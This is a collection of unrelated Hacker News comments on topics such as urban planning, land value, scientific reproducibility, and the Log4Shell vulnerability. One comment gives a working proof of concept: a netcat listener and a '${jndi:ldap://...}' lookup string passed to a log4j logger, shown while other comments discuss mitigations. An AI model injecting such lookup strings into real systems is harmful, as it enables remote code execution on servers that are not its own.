skysight-inc/HackerNews huggingface dataset:
I love the internet as it is today (facebook and google aside) the system is reliable enough for us. But the discussion is about centralization. This is not about infrastructure.

The day facebook was down for a few hours, I was asked why the internet was down. That person uses the internet for fb and whatsapp (also fb) A decentralized communication protocol and a federated social network wouldn't fail completely under the same circumstances.
This seems relevant both for the links and the rebuttal (?): https://biology.stackexchange.com/questions/90609/why-might-...
If you have not, you should read The Idea Factory.

https://www.amazon.com/Idea-Factory-Great-American-Innovatio...

We owe most of our "modern world" to the hard science done at Bell Labs in the 1900s, before the corporation was singularly focused on quarterly profits.
The article cites over a dozen empirical studies and observes what actually happens in the real world. I would be very interested in your thoughts on that subject and what you think of the quality of the studies.
No, this is a different subject than the article yesterday. That one focused on "what is the overall magnitude of ground rents", this one focuses on "won't the incidence of LVT be passed onto tenants?"
How to Learn to Code When You Have No Time and No Money (2018)
Probably regurgitating it from the Weinstein stuff.

https://uncancelclub.com/bret-weinstein-1/
That's its job. It's there to outrage you, but the reality is it doesn't teach you to do much else. The reality is, low density living in countries like the US rely on this structure.

The same way most of South Korea, including low density zones is built using large apartment blocks... because that's just what works for the country and there's no such thing as being a jack of all trades.

I've disliked the apples to oranges and emotional bias present in those videos since the start. But people eat it up. Shame.
What's your connection to the industry, that you recommend fewer scientists and greater centralization of research?
Ask HN: Top tech stack for small businesses?
I am curious which tech stack would be in highest demand among small businesses?

I see a lot of posts about developers favorite tech stacks. I can go on github and see the trending or most stars for top projects.

But if you wanted to do some side work for small business, what tech stack is most used?
Ham Radio SSB Transceiver Fits in Pocket
Original content is on youtube now.
There is no ultimate meaning. You can create what meaning you want for your life. It’s a local state not a global one.
Many is listed on the Wikipedia definition of a weasel word so it's hard to reply to this.

But, specifically, the two largest recent ones:

* George Floyd protests happened almost one full year before the trial outcome (which wasn't an acquittal btw)

* Kenosha protests happened 6 months before the acquittal

https://en.wikipedia.org/wiki/George_Floyd_protests

https://en.wikipedia.org/wiki/Kenosha_unrest
I think this is all good advice. Including the "type it out yourself" bit.

I'd add a recommendation for _Code Complete_ by Steve McConnell, which is like 2/3 Programming and 1/3 Software Engineering, and seems about right for your level of experience.
The Bay Area Crime Wave
Strads are all significantly restored by generations of luthiers. New violins (high end) are usually well-rested when it gets to player’s hands.

Unless the old violin has been through some atrocities, like a smoker owner, they won’t smell or touch much differently.
They're probably referring to: https://pubmed.ncbi.nlm.nih.gov/11909679/

I think this is one symptom of a much greater issue: the inbred mice strains we use are disastrously weird (arising from the initial population artificially bred to make research easier). For the sake of controlling for genetics, we've chosen to make lab research translation drastically less effective.
https://outline.com/TBTpJ8
Ask HN: What's a Good Gift for Programmers?
What's a useful gift to give to a programmer? I am trying to think of something that they will either use daily, or increase their knowledge/productivity. Budget $100USD. I was thinking one-off/non-subscription high-quality paid utilities, e.g. diff tools such as Beyond Compare, HFS+ file system driver etc. I also considered courses/ebooks but generally I feel that, unless these are the highest quality, utilities will be more often used. Anyway, all suggestions welcome, regardless of targeted developer platform/domain.
Just trying to find some positive examples of American small towns. As a European, if I were to relocate to the US, where would I find strong town communities?

I know for example Ithaca, NY, might qualify. Other examples in the South, Midwest, etc?

Also stroads are not just an American problem. I have found horrible stroads in places where you would never expect them such as Oxford or Copenhagen.
There are little strict "low energy consumption" regulation in Japan so cheap newly built houses still suck. Even though it's not economical for heating at a decade term.
Hi all, I started experimenting with this new approach to finding valuable content online after I got frustrated with traditional recommendation systems leading to echo chambers and all sorts of other nasty failure modes listed in the write-up. Unlike traditional recommendation systems, the lexiscore uses a language model which has access to your written notes. It estimates how surprising different content items are for you based on the model's perplexity in reconstructing the texts. This way, you can quickly tell which articles are likely to be too boring or too challenging and narrow in on the sweet spot of balanced skill and challenge.
Sometimes they straight up hire them as anchors.

https://edition.cnn.com/CNN/Programs/anderson.cooper.360/blo...
I would argue land is fundamentally different from other commodities.

1) It's essential for basic survival. Humans can't live in the sea.

2) You can't make more of it. Land that exists was created millions of years ago by powerful, continental scale geological processes. We can't create a new continent.

If a greedy individual buys all the toilet paper in a store, I can shop at another store, or order from anywhere in the country, or even overseas if needed. And someone can always decide to create a new company to make toilet paper and undercut the hoarder, though it might not resolve the short logistical problem.

Overall, I think one of the least bad solutions is to centralize zoning powers in a national government, weaken zoning as much as possible, and let the free market do its thing. For example, don't let someone build a chemical plant next to a residential area, but allow developers to build any residential housing they want, without interference from local owners. If a property developer wants to erect a condominium tower in the middle of a suburb full of 1-2 stories single family homes, they should be allowed to. Even if it depresses local home values. Even if it brings more traffic. Even if it blocks the view. Even if it compromises the "character" of the neighborhood (which is almost always code for white and well off). And, yes, it's a denial of local democracy, but it's the right thing to do.
I feel that’s fairly normal on Android? Idk I’m fine with an OS having some defaults or a “batteries included” experience, if they can be changed.
I'm assuming OP is referring to this: https://oncobites.blog/2020/07/29/modeling-aging-and-cancer-...
I think that's part of the problem. I think we're already living in incredibly safe times, and a focus on even more safety and security is what's causing some good chunk of the malaise we're all experiencing.

I want my kids to increasingly face more insecurity and unsafety. This way they become more and more resilient and able to deal with the future without me.
Ransomware attack on Brazilian MoH systems
This is so out of touch it's kind of offensive.

Unlike you, most people struggle to make ends meet, are happy they have a job and can provide for their family. The upper-class "let's build architecture that inspires" screams "I have more money and time than I know what to do with".

It's like looking down at people who eat at McDonald's (I got your reference!) with comments like "these folks wouldn't know good food if their life depended on it!".

Sorry not everyone can be rich and have the same "refined" sense of taste that you do. But they're too stupid to know what's best for them, right?
It's a discovery problem. The vast majority of content on the internet is crap, so better have a talk to your ISP and get rid of your useless line, right?

Once you do subscribe and watch good channels and subscribe to them, you will find that the recommendation engine is extremely high quality and will do the rest of the work.

There is basically zero crap on my YouTube homepage. It's all high quality now. I often get recommended videos and immediately subscribe to their channel. It's nice not to be afraid of clicking on videos on my homepage because I know all of it is great!
Ask HN: How to help my team members grow?
I'm a software engineer, or I'd like to think so.

For the past few years, I've only focused on one thing; Deep dive into software development, increase my engineering knowdledge, and improve my programming skill. In a way, this was a very selfish goal, I have only confused on myself. All I did was take, take, take, take from my team, because they were/are more experienced.

However, today I realised what separates me and our boss (Of course, he's more experienced and has more knowledge. It's not even comparable). My boss helped and helps everyone on my team and the company to grow on a large scale. I would like to help others grow. But, I can't think of anything because knowledge wise, they're already superior.

I highly value your reply.
> "central dictum"

This is an interesting choice of terms, since in the legal world "dictum" typically refers to a statement included in a legal opinion that is not central to the court's holding (decision). The full name is "obiter dictum", meaning "something said in passing", but it's almost always just called "dictum" or "dicta" (plural).

So although the ordinary definition of "dictum" is akin to pronouncement/dictate, in the legal context, "dictum" is a term of derogation ("that's just dictum"). To a lawyer, "central dictum" would be a contradiction in terms. Of course, this isn't a legal forum, so there's nothing wrong with what you said. It just causes mental hiccups for those of us afflicted with a legal background!
I agree, but certain operations need to safely accept untrusted input if I'm going to handle input at all. Running a regex on user input doesn't mean I trust the input. It means I trust my regex engine. I should be able to trust my logger the same way.
That probably works for smaller projects without many dependencies, but it’s just going to install the sub-dependency versions that satisfy whatever comes last in the requirements file. The pip docs describe that situation here: https://pip.pypa.io/en/latest/topics/dependency-resolution/

The pip docs also suggest using pip-tools to create lock files. Pip-tools is only for creating lock files (it’s not trying to fix virtualenvs like poetry is), and it works great.
That's because people like their cars. You may not, but many people do. And I've traveled in many countries and it's not like cars are uniquely American.
Yes. Later the authorities determined I was merely a poet and thus not a concern.
I really do believe that the attempt to industrialize scientific research has failed. Science cannot be done at scale. It comes from singularly focused projects lead by pure inquiry. I don't regret my PhD because I enjoyed achieving it, but I see it as a waste of time.

There's an analogy in Software Engineering. Programmers are akin to Artisans or Craftsmen, but the industry wants and needs them to be something more like little factories. I don't think that approach makes good software, even if it's a good product. Just as I don't think the system we have created in academia doesn't produce good research, even though it makes good careers.
moreover imagine debugging at any point in that pipeline. i've seen approaches where it's just sanitized at render... what happens when a dev dumps the database, hits it with a cli tool or peeks a queue?
Essential Recruiting Email Templates
Ok, let me - how do you know?
Mastodon Recap 2021
2) You can't make more of it. Land that exists was created millions of years ago by powerful, continental scale geological processes. We can't create a new continent.

Supposed we could. It doesn't seem it would lower the value of New York City, at least at first.
If I'm reading it right, it seems to be saying that if you throw random noise at your image classifier, it's able to do produce an intermediate artifact that you can train more effectively when you throw hot dogs at it. It won't be quite as good as you get with the best models, but it's strikingly good for random noise. The paper puts it like so: "Although GANs need real images to learn the network parameters, we show in this paper that they introduce a structural prior useful to encode image properties without requiring any training."

https://openreview.net/pdf?id=RQUl8gZnN7O
It's my understanding that during the cold war US nuclear subs filled pretty much the same purpose: last-strike capability that could not be taken out by a successful first-strike by an adversary hitting the US's ground-based launch facilities.

IIRC bombers were part of this strategy as well but presented easier targets to take out.

It's just that the launch decision authority was delegated to a large decentralized group of commanders with ever lower ranked officers automatically receiving that authority if higher level officers were taken out or rendered incommunicado due to the fog of war or wide scale decapitation strike.
I assume we have a whole lot more scientists than we have back then, both in total and per capita.

Still, if scientific progress is in any way real and not cyclical (as in Kuhn), then science should be getting harder. It stands to reason that if there are fewer and fewer secrets to find, finding them (or randomly stumbling upon them) will be a lot rarer.

We tend to assume that there is an infinite amount of knowledge to be gained of the natural world, but it's not necessarily so. It's especially not evident that our tools are evolving as fast as they need to, or even that they can evolve much further.

I'm not saying "everything has been found", more like "all progress makes further progress require more effort, by definition".
jarvis.ai is really good for this use case
For me, the situation is: I gave tailwind a try. I hated it. I spent a lot of effort of ripping every last tailwind class out of my project.

And yet, a lot of people swear by it and think its great. This really confuses me, and I'd kind of like to understand: how can other people like this thing that I think is terrible?
https://www.nobelprize.org/prizes/medicine/2009/illustrated-...

2009 Nobel prize given for this work.

Lab animals, due to the way they are bred, are essentially susceptible to cancer and health issues not seen in normal wildtype populations. Shortened telomeres are the primary danger, increasing mutation rate and cell senescence.

Essentially, all data involving the expectation of normal cellular behavior is subject to question - signaling from lab animals is corrupted.
Scala is an organizational red flag for me, especially if their recruiters are looking for "scala engineers."
I’ve got a 6th gen and also absolutely love it. Also dual booting Linux/windows (95% use Linux) and it’s never let me down. Everything “just works” and I treat it like crap yet it keeps trudging along.

It’s the only non-Apple laptop I’ve ever loved.
I think that's more a statement about how reliable the current system is where users think their network is down rather than facebook which would be unthinkable.
Not everyone wants to live in a human anthill though
Too be honest I don’t think the messages to use edge over chrome are really in the same category as the others. Googles plaster their homepage with a big banner of “hey chrome is so much better than what your using” and did for years.

A bit tit for tat in my book.
36%

https://en.m.wikipedia.org/wiki/COVID-19_vaccination_in_Sout...

But also

> Around 60-70% of South Africans have already had a Covid-19 infection since the start of the epidemic in March 2020.

https://www.news24.com/health24/medical/infectious-diseases/...
Hey, this is just a personal attack and has nothing to do with the topic of the post.
How does someone saying that things could be built better come off as high level elitism? I’ve stayed in small European towns where they have the cultural amenities of an American city perhaps five to six times its population. Normal people can live good, healthy lives there. Normal people struggling to survive while driving everywhere with few healthy options in sight is a manufactured issue.
https://www.hackerslist.co/signs-of-a-cheating-girlfriend-ga...
I'm not aware of that feature, but I guess it would mitigate this issue, since the problematic code:

> logger.info("Data: {}");

would effectively turn into something safe:

> logger.info("{}", "Data: {}");

And the issue would only arise if someone mixes the two patterns:

> logger.info("Data for " + username + ": {}", data);

Overall, I don't like the sound of that feature, since it blurs the line between correct and incorrect use of the logging API. The first argument should always be a constant formatting string.
Great take. I believe Google should remove this extra flexibility when it comes to emergency calls and route the call itself bypassing any/all apps that would otherwise route the call
I posted this in reply to a sibling comment, but the "correct" way is still vulnerable

Start nc (nc -lp 1234) and run this

org.apache.logging.log4j.LogManager.getLogger("whatever").error("not safe {}", "${jndi:ldap://127.0.0.1:1234/abc}")
The scarcity comes from Picasso painting it. There are also great paintings Picasso did not paint which are worthless.

It is not artificially scarce. Picasso could've painted a Guernica every month for the rest of his life. Even then, he would've only painted a few thousand paintings. Instead of doing that, he painted the other thousands of paintings...

Any NFT could have infinite copies. You simply decide how artificially scarce you want it to be. Picasso could not have painted infinite Guernicas if he so chose.

You can buy a print of Picasso's works. The value doesn't come from the art. It comes from the fact that Picasso painted it.

It's the same way for collector guitars. People want guitars famous musicians played. There are plenty other versions of that exact guitar. But they weren't played by the famous musician. That's what makes it truly scarce.
Syntax errors there, t.co mangulation of e.data.

Seems to work in Chromium, though it looks like it might be taking a second or two to actually terminate it. It’s a bit harder to tell if it works in Firefox, because Firefox kills the regular expression within five seconds with the error from RegExpBuiltinExec “too much recursion”, but I think it is, and probably faster than Chromium, though it’s hard to be certain when just doing the lazy check of CPU usage at one second granularity.
Just a reminder that there is skulpt if you want a completely free Python 3-ish alternative that runs in the browser. I'm not sure it is suitable for a production environment, but it's great for teaching kids how to code.

https://skulpt.org/
Fair point, apologies if I came off a bit harsh. I'm just really frustrated in the direction Google has taken with this whole thing.

I understand the average user probably shouldn't be able to easily hand over so much control to extensions, but on the other hand, dynamic ads shouldn't be able to serve malware or cryptominers.

I'd be a bit more open to the idea of a locked-down manifest if we had seen more good-faith attempts from AdTech to change the paradigm that makes content blockers almost a requirement.
> Additional problems surfaced when labs began experiments, such as tumor cells that did not behave as expected in a baseline study.

Given the various difficulties of culturing cell lines, this is not surprising.

What is infuriating to me is unresponsive author queries about data and protocols. That should result in some sort of ding to the paper on the journal's website.
Sure, Tomorrow the CPI but Future CPI’s in Today’s Inventory?
i've said it before and i'll say it again, this isn't going to improve until there are more grant dollars and recognition for replication than there is for novel discovery.

replication is boring, yet critical, and we should be compensating highly skilled scientists for doing it.
the christian church has lasted for a very long time, which would contradict his main point. i can already predict the rebuttal about the church causing harm, but if you wanna raise that point, you should acknowledge the harm caused by for-profit ventures.

also, the first part of the argument brought to mind a few for-profit jobs i’ve worked for, places with the group problem he identifies.
Note that the formatMsgNoLookups workaround only applies to recent versions of the log4j library, while it's still unclear how far back this bug may stretch. Other options for patching are detailed in the thread: https://github.com/apache/logging-log4j2/pull/608#issuecomme... mentions that just removing the class providing the vulnerable behavior works well, and https://github.com/Glavo/log4j-patch is a JAR that you can add to your classpath to simply override the same class.

See https://github.com/apache/logging-log4j2/pull/608#issuecomme... for more details.
Of course not. Land is not only not like other commodities, it is not a commodity at all. It meets none of the aspects of the definition of commodity. Each piece of land is a completely unique and highly differentiated thing, unlike each piece of gravel or each piece of corn, which are all interchangeable.
> It just had almost nothing to do with the book.

That's because it was originally an unrelated screenplay titled "Hardwired", which was rewritten to include Asimov's Three Laws after-the-fact. And it shows.
Why do you need to “fix” a stroad? Not everyone wants to live in a young bicyclist’s idealistic utopia. The reason people like high speed roads is that it saves time, and time matters. Biking and public transit are both slow compared to cars, and most people like the convenience cars offer. The point to point nature of driving, the faster travel speeds, the protection from weather, the capacity for people/cargo, and so on are a massive quality of life boost. Most people, particularly as they age into their late 20s/early 30s and start families, like having more space. It is useful for them to have the higher quality of life you get from a large home with a yard, but with fast access to areas with shops and restaurants. Having businesses and parking immediately accessible from high speed roads gives you that.
Does that mean it's only vulnerable if JMSAppender is used otherwise not? Which should at least be a rarer use case.
The Quiet Scandal of College Teaching
I enforced it via code review, but this worked because I lead by example by seeding the entire project as the architect. However, my mandate for 100% code coverage eroded over time because people are either lazy or just not smart enough. Here is the thing, that's ok because when the shit hits the fan then it will be their responsibility to stand and explain why their shit code caused an issue.

Practice what you preach and ship excellence and if you do it well with good management then you'll be able to shape the team. Otherwise, good luck because we have yet to iron out what good quality even means.
Consistent with my experiences: https://jakeseliger.com/2015/01/13/what-incentivizes-profess...
Don’t believe this Imperial Tartarian propaganda. The stroad is the best road. Our urban architecture is the best ever. No one wants that old stuff any more, make it concrete and glass boxes arranged around a big ol’ stroad.